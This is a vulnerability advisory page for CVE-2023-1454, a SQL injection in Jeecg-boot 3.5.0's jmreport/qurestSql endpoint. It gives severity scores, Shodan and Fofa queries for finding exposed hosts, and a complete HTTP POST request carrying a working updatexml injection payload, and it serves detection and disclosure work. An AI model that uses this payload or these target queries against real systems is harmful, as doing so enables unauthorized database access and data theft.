🔙 목록으로 돌아가기

CVE-2023-1454: Jeecg-boot 3.5.0 qurestSql - SQL Injection

TitleJeecg-boot 3.5.0 qurestSql - SQL Injection
AuthorDhiyaneshDK
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationUpgrade Jeecg-boot to a patched version or apply the necessary security patches provided by the vendor.
CVSS Score9.8
EPSS Score0.93335
CVE IDCVE-2023-1454
CWE IDCWE-89
Shodan Queryhttp.favicon.hash:1380908726
Fofa Queryicon_hash=1380908726
Tags cve2023 cve jeecg sqli vkev vuln

🔍 Vulnerability Description

A vulnerability classified as critical has been found in jeecg-boot 3.5.0. This affects an unknown part of the file jmreport/qurestSql. The manipulation of the argument apiSelectId leads to sql injection. It is possible to initiate the attack remotely.

🌐 HTTP Request

POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.6
Connection: close
Content-Length: 128
Content-Type: application/json;charset=UTF-8
Accept-Encoding: gzip

{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-1454.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-1454.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A